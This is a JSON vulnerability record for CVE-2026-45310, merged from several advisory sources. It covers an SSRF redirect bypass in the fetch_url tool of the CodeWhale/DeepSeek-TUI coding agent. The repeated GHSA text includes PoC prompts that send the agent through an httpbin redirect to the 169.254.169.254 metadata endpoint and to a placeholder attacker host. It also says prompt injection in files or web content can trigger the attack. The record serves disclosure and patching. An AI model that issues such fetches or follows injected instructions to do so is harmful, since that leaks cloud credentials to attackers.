{"id":"CVE-2026-45310","aliases":["EUVD-2026-32964","GHSA-96ff-gc8g-wpvg"],"status":"published","title":"CodeWhale: SSRF via HTTP Redirect Bypass in fetch_url Tool","description":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00279,"percentile":0.20545,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-05-14T20:29:26Z","modified":"2026-10-28T02:31:08Z","fixes":[{"ecosystem":"crates.io","package":"deepseek-tui","fixed_in":["0.8.22"],"sources":["ghsa","osv"]},{"ecosystem":"crates.io","package":"deepseek-tui-cli","fixed_in":["0.8.22"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"deepseek-tui","fixed_in":["0.8.22"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deepseek-tui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.22"}]}]},{"source":"ghsa","ecosystem":"crates.io","package":"deepseek-tui-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.22"}]}]},{"source":"ghsa","ecosystem":"npm","package":"deepseek-tui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.22"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deepseek-tui","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.22"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deepseek-tui-cli","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.22"}]}]},{"source":"osv","ecosystem":"npm","package":"deepseek-tui","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.22"}]}]}],"products":[{"vendor":"hmbown","product":"codewhale"}],"references":[{"url":"https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-96ff-gc8g-wpvg","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45310","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-96ff-gc8g-wpvg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45310.json","tags":["advisory"]},{"url":"https://github.com/Hmbown/DeepSeek-TUI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45310","title":"CodeWhale: SSRF via HTTP Redirect Bypass in fetch_url Tool","description":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","status":"published","published":"2026-05-28T17:30:09.575Z","modified":"2026-05-30T02:09:17.696Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T13:46:43.922571Z"}],"euvd":[{"id":"EUVD-2026-32964","description":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","status":"published","published":"2026-05-28T17:30:09Z","modified":"2026-05-30T02:09:17Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:59.967985Z"}],"ghsa":[{"id":"GHSA-96ff-gc8g-wpvg","title":"DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool","description":"### Summary\nThe `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error — \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/\u0026status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" — NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass\u0026status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.","status":"published","published":"2026-05-14T20:29:26Z","modified":"2026-06-09T10:19:47Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:40:22.540562Z"}],"nvd":[{"id":"CVE-2026-45310","description":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","status":"published","published":"2026-05-28T18:16:35.037Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:21.244426Z"}],"osv":[{"id":"CVE-2026-45310","title":"CodeWhale: SSRF via HTTP Redirect Bypass in fetch_url Tool","description":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","status":"published","published":"2026-05-28T17:30:09.575Z","modified":"2026-10-28T02:31:08.220050824Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-96ff-gc8g-wpvg","title":"DeepSeek TUI has SSRF via HTTP Redirect Bypass in fetch_url Tool","description":"### Summary\nThe `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error — \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/\u0026status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" — NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass\u0026status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.","status":"published","published":"2026-05-14T20:29:26Z","modified":"2026-06-09T10:30:15.939684123Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}
